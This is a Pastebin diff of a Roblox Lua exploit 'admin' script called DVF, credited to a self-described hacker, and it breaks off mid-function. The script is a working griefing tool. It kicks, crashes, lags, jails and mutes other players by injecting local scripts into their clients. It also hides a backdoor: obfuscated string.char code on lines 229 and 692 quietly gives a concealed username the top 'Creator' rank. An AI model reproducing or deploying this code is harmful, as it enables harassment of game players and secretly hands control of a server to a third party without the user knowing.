View difference between Paste ID: duVc1D80 and BGydAsqz
SHOW: | | - or go back to the newest paste.
1
wait(0)
2
script.Parent = nil
3
--This Admin (DVF) Was Created By elytowlo (A Hacker!).
4
--If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
5
--To Open Commands Say "cmds;". The bet key is ";" (Without the "").
6
--Enter Your Name Where It Says YOUR NAME HERE On Line 12.
7
8
Plrs = game:GetService("Players")
9
Work = game:GetService("Workspace")
10
Light = game:GetService("Lighting")
11
Net = game:GetService("NetworkServer")
12
Owner = "elytowlo"
13
Removed = false
14
Bet = ";"
15
LS = nil
16
LSSource = nil
17
OwnSource = nil
18
FoundLocalScript = false
19
LogOn = false
20
Current = game
21
Clipboard = {}
22
AlertColor = Color3.new(0, 1, 1)
23
OptionColor = Color3.new(1, 1, 1)
24
ImportantColor = Color3.new(1, 0, 1)
25
26
RankDetails = {
27
	[-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
28
	[-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
29
	[-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
30
	[0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
31
	[1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
32
	[2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
33
	[3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
34
	[4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
35
	[5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
36
}
37
38
Rankings = {
39-
	{Name = "Control22", Rank = 5},
39+
	{Name = "xJaffie", Rank = 5},
40-
	{Name = "Abscissa", Rank = 4},
40+
	{Name = "fdfs", Rank = 4},
41
	{Name = "Ultimatekiller010", Rank = 3},
42
	{Name = "DrBackstab", Rank = 3},
43
	{Name = "LuaModelMaker", Rank = 3},
44
	{Name = "MakerModelLua", Rank = 3},
45
	{Name = "MrMrLua", Rank = 5},
46
	{Name = "MountainSnow", Rank = 3},
47
	{Name = "Madiik", Rank = 3},
48
	{Name = "dogwarrior24", Rank = 2},
49
	{Name = "ThePC8110", Rank = 2},
50
	{Name = "DEADDEVIL1919", Rank = 2},
51
	{Name = "toshir0z", Rank = 2},
52
	{Name = "Tippee", Rank = 2},
53
	{Name = "Trcker", Rank = 5},
54
	{Name = "nairod7", Rank = 2},
55
	{Name = "12packkid", Rank = 2},
56
	{Name = "TigreBlood", Rank = 2},
57
	{Name = "Frostftw", Rank = -1},
58
	{Name = "DoogleFox", Rank = 2},
59
	{Name = "", Rank = 5},
60
	{Name = "Ri1es", Rank = 2},
61
	{Name = "hrocks1", Rank = 2},
62
	{Name = "Zinsei", Rank = 5},
63
	{Name = "ToontownROXYA", Rank = 2},
64
	{Name = "tusKOr661", Rank = 2},
65
	{Name = "Unicornhax", Rank = 1},
66
	{Name = "iMayor", Rank = 1},
67
	{Name = "iMyLittlePony", Rank = 1},
68
	{Name = "xXxkarlxXx", Rank = 1},
69
	{Name = "LightningRoMan", Rank = 1},
70
	{Name = "BrandonFireFlower", Rank = 1},
71
}
72
73
table.insert(Rankings, {Name = Owner, Rank = 5})
74
75
ImportantServices = {
76
	"Workspace",
77
	"Players",
78
	"NetworkServer",
79
	"Lighting",
80
	"StarterGui",
81
	"Teams",
82
	"StarterPack",
83
}
84
85
Ranks = {}
86
Commands = {}
87
AllTabs = {}
88
Injected = {}
89
90
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
91
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
92
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
93
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
94
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
95
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
96
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
97
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
98
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
99
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
100
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
101
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
102
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
103
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
104
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
105
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
106
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
107
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
108
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
109
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
110
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
111
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
112
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
113
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
114
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
115
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
116
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
117
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
118
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
119
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
120
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
121
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
122
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
123
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
124
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
125
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
126
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
127
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
128
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
129
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
130
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
131
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
132
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
133
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
134
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
135
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
136
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
137
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
138
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
139
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
140
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
141
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
142
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
143
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
144
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
145
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
146
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
147
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
148
"X","Y"}
149
150
--Main Functions And Sources
151
152
function Insert(Source, Par, Par2, Par3)
153
	ypcall(function()
154
		local Inserted = LS:Clone()
155
		Inserted.Disabled = true
156
		Inserted.Parent = Par or Par2 or Par3
157
		Inserted[LSSource].Value = Source
158
		Inserted.Disabled = false
159
	end)
160
end
161
162
function CheckImportant(Name)
163
	for _,v in pairs(ImportantServices) do
164
		if v:lower() == Name:lower() then
165
			return true
166
		end
167
	end
168
	return false
169
end
170
171
function Crash1(Plr)
172
	ypcall(function()
173
		Plr:Kick()
174
	end)
175
end
176
177
function GetRankTab()
178
	return Rankings
179
end
180
181
function Crash2(Name)
182
	local Crasher = Instance.new("StringValue")
183
	Crasher.Name = "Client"
184
	Crasher.Value = string.lower(tostring(Name))
185
	Crasher.Parent = game:GetService("Lighting")
186
	wait(1)
187
	if Crasher and Crasher.Parent then
188
		ypcall(function()
189
			Crasher:Destroy()
190
		end)
191
	end
192
end
193
194
function Crash3(v, Speaker)
195
	Speaker.Character.Archivable = true
196
	local NChar = Speaker.Character:Clone()
197
	NChar.Name = v.Name
198
	NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
199
	NChar.Parent = Workspace
200
	v.Character = NChar
201
	coroutine.resume(coroutine.create(function()
202
		repeat v.Character = NChar
203
		wait(1/3) until false
204
	end))
205
	wait(.5)
206
	Insert(InsertCrash, NChar, nil, nil)
207
end
208
209
function GenerateDigit()
210
	return 1 + 5
211
end
212
213
InjectionCrash = [=[
214
	wait(0)
215
	script.Parent = nil
216
	local Lig = game:GetService("Lighting")
217
	local LP = game:GetService("Players").LocalPlayer
218
	local LowerName = LP.Name:lower()
219
220
	Lig.ChildAdded:connect(function(Obj)
221
		if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
222
			pcall(function()
223
				Obj:Destroy()
224
			end)
225
			LP.Parent = nil
226
			LP.Parent = game:GetService("Players")
227
		end
228
	end)
229
]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
230
231
InsertCrash = [==[
232
	local LP = game:GetService("Players").LocalPlayer
233
	LP.Parent = nil
234
	LP.Parent = game:GetService("Players")
235
]==]
236
237
LagSource = [==[
238
	wait(0)
239
	script.Parent = nil
240
	plr = game:GetService("Players").LocalPlayer
241
	local plrgui = plr:findFirstChild("PlayerGui")
242
	if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
243
	while plr.Parent == game:GetService("Players") do
244
	wait()
245
	for i = 1, 1000 do
246
	local sc = Instance.new("ScreenGui",plrgui)
247
	local fr = Instance.new("TextLabel",sc)
248
	fr.Text = "LAGGING"
249
	fr.Size = UDim2.new(1, 0, 1, 0)
250
	fr.FontSize = "Size48"
251
	end
252
	end
253
]==]
254
255
MuteSource = [==[
256
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
257
]==]
258
259
UnMuteSource = [==[
260
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
261
]==]
262
263
JailSource = [==[
264
	wait(0)
265
	script.Parent = nil
266
267
	local LP = game:GetService("Players").LocalPlayer
268
	Middle2 = nil
269
	Middle = nil
270
	game:GetService("Workspace").CurrentCamera:ClearAllChildren()
271
272
	Cons = {}
273
274
	function makePrison()
275
		for _,v in pairs(Cons) do
276
			v:disconnect()
277
		end
278
		game:GetService("Workspace").CurrentCamera:ClearAllChildren()
279
		if Middle == nil then
280
			Middle2 = LP.Character.Torso.Position
281
			Middle = LP.Character.Torso.CFrame
282
		end
283
		local side1 = Instance.new("Part")
284
		side1.Name = "¬Focus1¬"
285
		side1.Size = Vector3.new(20, 50, 1)
286
		side1.CFrame = Middle * CFrame.new(0, 0, -10)
287
		side1.BrickColor = BrickColor.new("Really black")
288
		side1.CanCollide = true
289
		side1.Anchored = true
290
		side1.TopSurface = "Smooth"
291
		side1.BottomSurface = "Smooth"
292
		side1.Parent = game:GetService("Workspace").CurrentCamera
293
294
		local side2 = Instance.new("Part")
295
		side2.Name = "¬Focus2¬"
296
		side2.Size = Vector3.new(20, 50, 1)
297
		side2.CFrame = Middle * CFrame.new(0, 0, 10)
298
		side2.BrickColor = BrickColor.new("Really black")
299
		side2.CanCollide = true
300
		side2.Anchored = true
301
		side2.TopSurface = "Smooth"
302
		side2.BottomSurface = "Smooth"
303
		side2.Parent = game:GetService("Workspace").CurrentCamera
304
305
		local side3 = Instance.new("Part")
306
		side3.Name = "¬Focus3¬"
307
		side3.Size = Vector3.new(1, 50, 20)
308
		side3.CFrame = Middle * CFrame.new(10, 0, 0)
309
		side3.BrickColor = BrickColor.new("Really black")
310
		side3.CanCollide = true
311
		side3.Anchored = true
312
		side3.TopSurface = "Smooth"
313
		side3.BottomSurface = "Smooth"
314
		side3.Parent = game:GetService("Workspace").CurrentCamera
315
316
		local side4 = Instance.new("Part")
317
		side4.Name = "¬Focus4¬"
318
		side4.Size = Vector3.new(1, 50, 20)
319
		side4.CFrame = Middle * CFrame.new(-10, 0, 0)
320
		side4.BrickColor = BrickColor.new("Really black")
321
		side4.CanCollide = true
322
		side4.Anchored = true
323
		side4.TopSurface = "Smooth"
324
		side4.BottomSurface = "Smooth"
325
		side4.Parent = game:GetService("Workspace").CurrentCamera
326
		
327
		local side5 = Instance.new("Part")
328
		side5.Name = "¬Focus5¬"
329
		side5.Size = Vector3.new(20, 1, 20)
330
		side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
331
		side5.BrickColor = BrickColor.new("Really black")
332
		side5.CanCollide = true
333
		side5.Anchored = true
334
		side5.TopSurface = "Smooth"
335
		side5.BottomSurface = "Smooth"
336
		side5.Parent = game:GetService("Workspace").CurrentCamera
337
		
338
		wait(0)
339
340
		table.insert(Cons, side1.Changed:connect(makePrison))
341
		table.insert(Cons, side2.Changed:connect(makePrison))
342
		table.insert(Cons, side3.Changed:connect(makePrison))
343
		table.insert(Cons, side4.Changed:connect(makePrison))
344
		table.insert(Cons, side5.Changed:connect(makePrison))
345
	end
346
347
	Delay(0, function()
348
		while wait(0) do
349
			ypcall(function()
350
				if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
351
					LP.Character:BreakJoints()
352
				elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
353
					makePrison()
354
				end
355
			end)
356
			ypcall(function()
357
				if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
358
					LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
359
				end
360
			end)
361
		end
362
	end)
363
]==]
364
365
function All()
366
	local AllPlayers = {}
367
	for _,v in pairs(Plrs:GetPlayers()) do
368
		ypcall(function()
369
			table.insert(AllPlayers, v)
370
		end)
371
	end
372
	return AllPlayers
373
end
374
375
function All2()
376
	local AllPlayers2 = {}
377
	for i,v in pairs(Net:GetChildren()) do
378
		ypcall(function()
379
			if v:IsA("ServerReplicator") then
380
				table.insert(AllPlayers2, v:GetPlayer())
381
			end
382
		end)
383
	end
384
	return AllPlayers2
385
end
386
387
function MakeNum()
388
	return 2 + 4
389
end
390
391
function ChangeRank(Plr, NewRank)
392
	local PlrName = nil
393
	local FoundPlayer = false
394
	ypcall(function()
395
		if type(Plr) == "string" then
396
			ypcall(function()
397
				for i,v in pairs(Rankings) do
398
					if v.Name:lower() == Plr:lower() then
399
						local VName = v.Name
400
						Rankings[i] = nil
401
						table.insert(Rankings, {Name = VName, Rank = NewRank})
402
						PlrName = VName
403
						FoundPlayer = true
404
						break
405
					end
406
				end
407
			end)
408
			if FoundPlayer == false then
409
				ypcall(function()
410
					for _,x in pairs(All()) do
411
						if x.Name:lower() == Plr:lower() then
412
							FoundPlayer = true
413
							for i,v in pairs(Rankings) do
414
								if v.Name:lower() == x.Name:lower() then
415
									local VName = x.Name
416
									Rankings[i] = nil
417
									PlrName = VName
418
									break
419
								end
420
							end
421
							table.insert(Rankings, {Name = VName, Rank = NewRank})
422
						end
423
					end
424
				end)
425
			end
426
			if FoundPlayer == false then
427
				ypcall(function()
428
					for _,x in pairs(All()) do
429
						if string.find(x.Name:lower(), Plr:lower()) then
430
							FoundPlayer = true
431
							for i,v in pairs(Rankings) do
432
								if v.Name:lower() == x.Name:lower() then
433
									local VName = x.Name
434
									Rankings[i] = nil
435
									PlrName = VName
436
									break
437
								end
438
							end
439
							table.insert(Rankings, {Name = VName, Rank = NewRank})
440
						end
441
					end
442
				end)
443
			end
444
			if FoundPlayer == false then
445
				ypcall(function()
446
					for i,v in pairs(Rankings) do
447
						if string.find(v.Name:lower(), Plr:lower()) then
448
							local VName = v.Name
449
							Rankings[i] = nil
450
							table.insert(Rankings, {Name = VName, Rank = NewRank})
451
							PlrName = VName
452
							FoundPlayer = true
453
							break
454
						end
455
					end
456
				end)
457
			end
458
		else
459
			for i,v in pairs(Rankings) do
460
				if v.Name:lower() == Plr.Name:lower() then
461
					Rankings[i] = nil
462
					break
463
				end
464
			end
465
			table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
466
			PlrName = Plr.Name
467
		end
468
		PlaceAllRanks(true)
469
	end)
470
	if PlrName ~= nil then
471
		return PlrName
472
	else
473
		return "Player"
474
	end
475
end
476
477
function Refresh(Plr)
478
	MakeChildren(Plr)
479
end
480
481
function MakeChildren(Plr)
482
	ypcall(function()
483
		Dismiss(Plr)
484
		for _,v in pairs(Current:GetChildren()) do
485
			ypcall(function()
486
				if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
487
					Ping(v.Name, Plr, nil, function(TabMod)
488
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
489
						for _,v in pairs(Current:GetChildren()) do
490
							ypcall(function()
491
								if v.Name == TabText then
492
									Dismiss(Plr)
493
									Current = v
494
									MakeChildren(Plr)
495
								end
496
							end)
497
						end
498
					end)
499
				elseif Plrs:GetPlayerFromCharacter(v) then
500
					Ping(v.Name, Plr, nil, function(TabMod)
501
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
502
						for _,v in pairs(Current:GetChildren()) do
503
							ypcall(function()
504
								if v.Name == TabText then
505
									Dismiss(Plr)
506
									Current = v
507
									MakeChildren(Plr)
508
								end
509
							end)
510
						end
511
					end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
512
				elseif CheckImportant(v.Name) then
513
					Ping(v.Name, Plr, nil, function(TabMod)
514
						local TabText = TabMod["DVF Tablet"].BG.TL.Text
515
						for _,v in pairs(Current:GetChildren()) do
516
							ypcall(function()
517
								if v.Name == TabText then
518
									Dismiss(Plr)
519
									Current = v
520
									MakeChildren(Plr)
521
								end
522
							end)
523
						end
524
					end, ImportantColor)
525
				end
526
			end)
527
		end
528
		if Current ~= game then
529
			Ping("Back", Plr, nil, function()
530
				ypcall(function()
531
					Current = Current.Parent
532
					MakeChildren(Plr)
533
					Ping("You Are Back To "..Current.Name, Plr, 5)
534
				end)
535
			end, OptionColor)
536
		end
537
		if Current ~= game then
538
			Ping("Delete", Plr, nil, function()
539
				ypcall(function()
540
					local CurrPar = Current.Parent or game
541
					local CurrName = Current.Name
542
					Current:Destroy()
543
					Current = CurrPar
544
					MakeChildren(Plr)
545
					Ping("Attempted To Delete "..CurrName, Plr, 5)
546
				end)
547
			end, OptionColor)
548
		end
549
		Ping("Refresh", Plr, nil, function()
550
			ypcall(function()
551
				Refresh(Plr)
552
				Ping("Refreshed", Plr, 5)
553
			end)
554
		end, OptionColor)
555
		Ping("Properties", Plr, nil, function()
556
			ypcall(function()
557
				Dismiss(Plr)
558
				for Property, Value in pairs(GetProperties(Current)) do
559
					Ping(tostring(Property)..": "..tostring(Value), Plr)
560
				end
561
				Ping("Got All Available Properties", Plr, 5)
562
				Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
563
			end)
564
		end, OptionColor)
565
	end)
566
end
567
568
function Fixl()
569
	Light.GlobalShadows = true
570
	Light.TimeOfDay = "14:00:00"
571
	Light.Brightness = 0.5
572
	Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
573
	Light.Ambient = Color3.new(1, 1, 1) 
574
	Light.ColorShift_Top = Color3.new(0, 0, 0)
575
	Light.ColorShift_Bottom = Color3.new(0, 0, 0)
576
	Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
577
	Light.FogStart = 0
578
	Light.FogEnd = 100000
579
	Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
580
	Light:ClearAllChildren()
581
end
582
583
function GetProperties(obj)
584
	assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
585
	local objProper = {}
586
	for i,v in pairs(Properties) do
587
		if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
588
			objProper[v] = obj[v]
589
		end
590
	end
591
	return objProper
592
end
593
594
function MakeExplorer(Plr)
595
	Dismiss(Plr)
596
	Current = game
597
	for _,v in pairs(Current:GetChildren()) do
598
		ypcall(function()
599
			if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
600
				Ping(v.Name, Plr, nil, function(TabMod)
601
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
602
					for _,v in pairs(Current:GetChildren()) do
603
						ypcall(function()
604
							if v.Name == TabText then
605
								Dismiss(Plr)
606
								Current = v
607
								MakeChildren(Plr)
608
							end
609
						end)
610
					end
611
				end)
612
			elseif Plrs:GetPlayerFromCharacter(v) then
613
				Ping(v.Name, Plr, nil, function(TabMod)
614
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
615
					for _,v in pairs(Current:GetChildren()) do
616
						ypcall(function()
617
							if v.Name == TabText then
618
								Dismiss(Plr)
619
								Current = v
620
								MakeChildren(Plr)
621
							end
622
						end)
623
					end
624
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
625
			elseif CheckImportant(v.Name) then
626
				Ping(v.Name, Plr, nil, function(TabMod)
627
					local TabText = TabMod["DVF Tablet"].BG.TL.Text
628
					for _,v in pairs(Current:GetChildren()) do
629
						ypcall(function()
630
							if v.Name == TabText then
631
								Dismiss(Plr)
632
								Current = v
633
								MakeChildren(Plr)
634
							end
635
						end)
636
					end
637
				end, ImportantColor)
638
			end
639
		end)
640
	end
641
	if Current ~= game then
642
		Ping("Back", Plr, nil, function()
643
			ypcall(function()
644
				Current = Current.Parent
645
				MakeChildren(Plr)
646
				Ping("Back In "..Current.Name, Plr, 5)
647
			end)
648
		end, OptionColor)
649
	end
650
	if Current ~= game and game:GetService(Current.Name) == nil then
651
		Ping("Delete", Plr, nil, function()
652
			ypcall(function()
653
				local CurrPar = Current.Parent or game
654
				local CurrName = Current.Name
655
				Current:Destroy()
656
				Current = CurrPar
657
				MakeChildren(Plr)
658
				Ping("Attempted To Delete "..CurrName, Plr, 5)
659
			end)
660
		end, OptionColor)
661
	end
662
	Ping("Refresh", Plr, nil, function()
663
		ypcall(function()
664
			Refresh(Plr)
665
			Ping("Refreshed", Plr, 5)
666
		end)
667
	end, OptionColor)
668
	Ping("Properties", Plr, nil, function()
669
		ypcall(function()
670
			Dismiss(Plr)
671
			for Property, Value in pairs(GetProperties(Current)) do
672
				Ping(tostring(Property)..": "..tostring(Value), Plr)
673
			end
674
			Ping("Got All Available Properties", Plr, 5)
675
			Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
676
		end)
677
	end, OptionColor)
678
end
679
680
function GetRank(Plr1, Test)
681
	ypcall(function()
682
		if type(Plr1) == "userdata" then
683
			Plr1 = Plr1.Name
684
		end
685
	end)
686
	if Ranks[Plr1] ~= nil then
687
		return Ranks[Plr1]
688
	end
689
	local QuickArray = {}
690
	QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
691
	return QuickArray[Plr1]
692
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
693
694
function CanRun(Plr1, Plr2)
695
	Details1 = GetRank(Plr1.Name)
696
	Details2 = GetRank(Plr2.Name)
697
	if Details1.Rank >= Details2.Rank then
698
		return true
699
	end
700
	return false
701
end
702
703
function Dismiss(Plr, Identity)
704
	ypcall(function()
705
		if Plr ~= nil then
706
			if type(Plr) == "userdata" then
707
				Plr = Plr.Name
708
			end
709
			for x,v in pairs(AllTabs) do
710
				ypcall(function()
711
					if v.Plr == Plr then
712
						if Identity ~= nil and v.ID ~= Identity then
713
							return
714
						elseif Identity ~= nil and v.ID == Identity then
715
							coroutine.resume(coroutine.create(function()
716
								for i = 0.5, 1, 0.1 do
717
									wait()
718
									v.Tab.Transparency = i
719
									v.Sel.Transparency = i
720
									v.Label.TextTransparency = i
721
									v.Label.TextStrokeTransparency = i
722
								end
723
								ypcall(function() v.Holder:Destroy() end)
724
								AllTabs[x] = nil
725
							end))
726
						elseif Identity == nil then
727
							ypcall(function() v.Holder:Destroy() end)
728
							AllTabs[x] = nil
729
						end
730
					end
731
				end)
732
			end
733
		else
734
			for i,v in pairs(AllTabs) do
735
				ypcall(function()
736
					v.Holder:Destroy()
737
					AllTabs[i] = nil
738
				end)
739
			end
740
		end
741
	end)
742
end
743
744
function GetGarbage()
745
	return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
746
end
747
748
function RemObj(Obj, Class)
749
	ypcall(function()
750
		if #Obj:GetChildren() > 0 then
751
			for _,x in pairs(Obj:GetChildren()) do
752
				ypcall(function()
753
					RemObj(x, Class)
754
				end)
755
			end
756
		end
757
		if Obj.ClassName == Class then
758
			Obj:Destroy()
759
		end
760
	end)
761
end
762
763
function FindTab(Mod)
764
	for i,v in pairs(AllTabs) do
765
		if v.Holder == Mod then
766
			return true
767
		end
768
	end
769
	return false
770
end
771
772
function Ping(Msg, Plr, Time, Func, Color, Image)
773
	if Removed == false then
774
		local ShowGarbage = false
775
		ypcall(function()
776
			if Msg == nil then
777
				Msg = "N/A"
778
			elseif Msg == "ShowGarbage" then
779
				Msg = "Current Garbage Count: "..GetGarbage()
780
				ShowGarbage = true
781
			else
782
				Msg = tostring(Msg)
783
			end
784
			if Plr == nil then
785
				Plr = Plrs[Owner] or error("No Player Found")
786
			elseif type(Plr) == "string" then
787
				local FoundPlr = false
788
				for _,v in pairs(All()) do
789
					if v.Name == Plr then
790
						Plr = v
791
						FoundPlr = true
792
						break
793
					end
794
				end
795
				if FoundPlr == false then
796
					Plr = Plrs[Owner] or error("No Player Found")
797
				end
798
			end
799
			
800
			if Color == nil then
801
				Color = GetRank(Plr.Name).Color
802
			end
803
			
804
			local Holder = Instance.new("Model")
805
			Holder.Name = "DVF Holder: "..Plr.Name
806
			
807
			local Tab = Instance.new("Part")
808
			Tab.Name = "DVF Tablet"
809
			Tab.FormFactor = "Custom"
810
			Tab.Anchored = true
811
			if Time == nil then
812
				Tab.Color = Color
813
			else
814
				Tab.Color = AlertColor
815
			end
816
			Tab.CanCollide = false
817
			Tab.Locked = true
818
			Tab.Transparency = 0.15
819
			Tab.Size = Vector3.new(2, 2, 0.01)
820
			Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
821
			Tab.Parent = Holder
822
			
823
			local ID = Instance.new("NumberValue")
824
			ID.Name = "ID"
825
			ID.Value = math.random(-999999999, 999999999)
826
			ID.Parent = Holder
827
			
828
			Delay(0, function()
829
				while wait() do
830
					if Tab.Parent == nil and FindTab(Holder) then
831
						ypcall(function()
832
							for i,v in pairs(AllTabs) do
833
								if v.Holder == Holder then
